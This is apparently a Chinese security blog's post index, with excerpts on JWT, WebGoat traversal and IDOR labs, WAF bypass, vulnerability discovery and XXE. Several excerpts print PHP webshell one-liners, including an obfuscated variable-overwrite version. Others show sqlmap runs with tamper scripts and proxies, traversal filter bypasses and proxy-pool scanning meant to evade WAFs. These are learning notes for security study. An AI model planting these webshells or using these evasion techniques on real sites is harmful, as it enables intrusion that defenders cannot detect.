JAVA安全—JWT安全及预编译CASE注入等
什么是JSON
JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通 过数字签名来验证数据未被篡改(但是做完下面的 WebGoat 练习后我对这一点表示怀疑)。
JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT 的内容以 Base64URL 进行了编码。
头部(Header)
alg : 是说明这个 JWT 的签名使用的算法的参数,常见值用 HS256(默认),HS512 等,也可以为 None。HS256 表示 HMAC SHA256。
typ : 说明这个 token 的类型为 JWT
1234{ "alg":"HS256", "typ":"JWT"}
声明(Claims)
iss : 发行人
exp : 到期时间
sub : 主题
aud : 用户
nbf : 在 ...
JAVA安全—目录遍历访问控制XSS等安全问题
我的那个靶场不知道抽什么风,又打不开了,无大语了
这关过关技巧就是将文件名,改成一个..\的方式,从而达到上传到其他目录的效果,那么这样做的意义是什么?目录解析:简单来说就是有的目录进行了一些权限设置,那么你的文件或者说是后门上传到了这个权限受限的目录,就会出现后门执行不了等等的情况,所以说如果用这个方法是有机会绕过的
第二关
比第一关,多了一个过滤,下图是源码
发现return中的执行语句多了一个判断,表单中的用户名不为空,并且用户名中的../用空替换掉
这里的../只被replace过滤了一次,可以通过....//123重复构造来进行绕过
可以直接用双写的方法进行绕过,也就是像上图一样多写一次,这样匹配替换一次,就刚好可以拼接上
前端验证
账号和密码就写在这个前端的js文件中
对象引用
—在文本输入框中输入role,userid过关(这是用户的另外两个属性,我也不知道从哪里得来的)
源代码分析
---@PostMApping({“/IDOR/diff-attributes”})提交数据的地址
—将传递 ...
WAF绕过—漏洞发现之代理池指纹被动探针
漏洞发现触发WAF点—针对xray,Awvs等(漏洞扫描器)
扫描速度—【思路:代理池,延时,白名单等】
工具指纹—【思路:特征修改,伪造模拟真实用户等】
漏洞payload—【思路:数据变异,数据加密,白名单等】
网上的免费的HTTP代理,这个怎么说,存活时间长,然后是不稳定,10个里面有一个可以用都不错了
代理池 Proxy_pool 项目
https://github.com/jhao104/proxy_pool
proxy_pool-master.zip
12345678910# 如果已经具备运行条件, 可用通过proxyPool.py启动。# 程序分为: schedule 调度程序 和 server Api服务# 启动调度程序python proxyPool.py schedule# 启动webApi服务python proxyPool.py server #dockerdocker pull jhao104/proxy_pooldocker run --env DB_CONN=redis://:password@ip:port ...
WAF绕过-权限控制之代码混淆造轮子
1234567平常的一句话;<?php @eval($_POST['chopper']);?> 但是这样绝对会被拦截,所以可以找一个函数平替:<?php assert($_POST['chopper']);?>但是就算是用:assert替换之后还是会被检测出,并拦截
我这里是assert是可以绕过的,可能是版本太低的问题,但是高版本又是一堆问题
变量覆盖变量覆盖:简单来说就是覆盖原始变量
1234567891011121314<?php $a=$_GET['x']; $$a=$_GET['y']; $b($_POST['z']);?>代码分析:传参:?x=b&y=assert因为上面这里进行了传参,所以这里$a=b,$$a=assert=$b将这个代码拼接就是:assert($_POST['chopper']);为什么会绕过?首先是没有对这个b进行声明,所 ...
WAF绕过-漏洞利用之注入上传跨站绕过
12345678910111213141516171819python sqlmap.py -u "地址" //正常sqlmap注入设置代理之后python sqlmap.py -u "地址" --proxy="代理地址;端口" 之前说到SQL注入的时候是用符号变异,垃圾值的方式去干扰目标网站的WAF软件,但是这个是手工的方式,如果是真正的方式进行注入的话就是用工具,而工具不能像我们这样,sqlmap有一个模块是tamper,如果想要工具按照我们的思路来注入,就需要我们写一个这样的文件,放到tamper下python sqlmap.py -u "地址" --proxy="代理地址;端口" --tamper=guodog.py上面这样就可以了吗?答案是不行的,通过抓包发现这个sqlmap在进行发包的时候的头部,是有sqlmap的指纹的,这样是绝对不行的,所以如果想要成功还要将这个头部替换成一个白名单的形式python sqlmap.py -u &q ...
漏洞发现—API接口服务之漏洞探针类型利用修复
12345678信息收集之信息利用第一步:首先识别网站是否有cdn,waf等产品,有则绕过。第二步:扫描收集到网站的端口信息,真实ip地址,ip绑定的其他域名。第三步:网站敏感路径扫描第四步:域名+端口敏感信息扫描第五步:ip+端口敏感目录扫描备注:字典不应该只是敏感路径,还应该有备份文件 zip rar tar tar.gz等格式文件
1234567891011121314151617181920212223242526272829#端口服务类安全测试根据前期信息收集针对目标端口服务类探针后进行的安全测试,主要涉及攻击方法:口令安全,WEB类漏洞,版本漏洞等,其中产生的危害可大可小。属于端口服务/第三方服务类安全测试面。一般在已知应用无思路的情况下选用的安全测试方案。#API 接口-WebServiceRESTful APIhttps://xz.aliyun.com/t/2412根据应用自身的功能方向决定,安全测试目标需有 API 接口调用才能进行此类测试,主要涉及的安全问题:自身安全,配合 WEB,业务逻辑等,其中产生的危害可大 ...
WAF绕过—信息收集之反爬虫延时代理池技术
网站部署waf时,采用进程抓包工具抓取webpathbrute数据包分析,一般有2种结果:
1.直接误报或者无结果
2.扫描一段时间后突然误报
扫描探针机制
数据包拦截
速度过快拦截
WebPathBrute-Web路径暴力探测工具:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用WebPathBrute扫描网站目录,当网站服务器分别部署了以下waf时,对拦截机制进行测试分析,结果如下:
1.safedog-默认拦截机制-未开CC
扫描结果:出现误报,全部200状态码
原因:浏览器采用get方法,工具扫描采用head方法。
绕过方法:更改提交方式(改为get方法)或模拟用户
模拟用户就是先抓取一个正常用户访问的数据包,然后跑工具的时候进行替换就可以了
2.safedog-默认拦截机制-开启CC
扫描结果:误报
绕过方法:延时或代理池或爬虫引擎。
2.1 延时
可开启延时扫描,慢速扫描,缺点是速度过慢。
2.2 代理池
网上搜索代理池,写python脚本,添加代理池。确定是 ...
漏洞发现-web应用之漏洞探针利用修复
原理分析
已知 CMS
如常见的 dedecms.discuz,wordpress 等源码结构,这种一般采用非框架类开发,但也有少部分采用的是框架类开发,针对此类源码程序的安全检测,我们要利用公开的漏洞进行测试,如不存在可采用白盒代码审计自行挖掘。(1.在漏洞平台如seebug、cnvd搜索关键字2.使用工具框架如cmsscan、wpscan3.代码审计(函数,功能,框架三个方面))
开发框架
如常见的 thinkphp,spring,flask 等开发的源码程序,这种源码程序正常的安全测试思路:先获取对应的开发框架信息(名字,版本),通过公开的框架类安全问题进行测试,如不存在可采用白盒代码审计自行挖掘。
未知 CMS
如常见的企业或个人内部程序源码,也可以是某 CMS 二次开发的源码结构,针对此类的源码程序测试思路:能识别二次开发就按已知 CMS 思路进行,不能确定二次开发的话可以采用常规综合类扫描工具或脚本进行探针,也可以采用人工探针(功能点,参数,盲猜),同样在有源码的情况下也可以进行代码审计自行挖掘。
已知CMS如果 ...
漏洞发现—APP应用之漏洞探针类型利用修复
思路说明:
反编译提取URL或抓包获取url,进行web应用测试,如不存在或走其他协议的情况下,需采用网络接口抓包进行数据获取,转至其他协议安全测试!
案例1:抓包精灵
Android抓包软件,可以安装到手机上,不需要过多设置,即可抓住手机上app产生的http/https包并自动解析,确定是只能看不能操作。
地址:https://github.com/huolizhuminh/NetWorkPacketCapture/releases/tag/1.0.4
案例2:ApkAnalyser
简介:一键提取安卓应用中可能存在的敏感信息。
用法:将所有app放到程序自动创建的apps目录,再运行主程序就好了,不用加参数。
功能:目前提取了APK内所有字符串、所有URLs、所有ip、可能是hash值的字符串、存在的敏感词(如oss.aliyun)、可能是accessKey的值。
地址:https://github.com/TheKingOfDuck/ApkAnalyser//releases/download/1.0/apkAnalyser ...
XXEXML 指可扩展标记语言(EXtensible Markup Language)XML 是一种标记语言,很类似 HTMLXML 的设计宗旨是传输数据,而非显示数据XML 标签没有被预定义。您需要自行定义标签。XML 被设计为具有自我描述性。XML 是 W3C 的推荐标准XML标签根据自己主观定义,不像HTML是被预定义好的
123456<note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>
上例中的标签没有在任何 XML 标准中定义过(比如 和 )。这些标签是由文档的创作者发明的。
这是因为 XML 没有预定义的标签。
这是因为 XML 没有预定义的标签。
在 HTML 中使用的标签(以及 HTML 的结构)是预定义的。HTML 文档只使用在 HTML 标准中定义过的标签(比如html, ...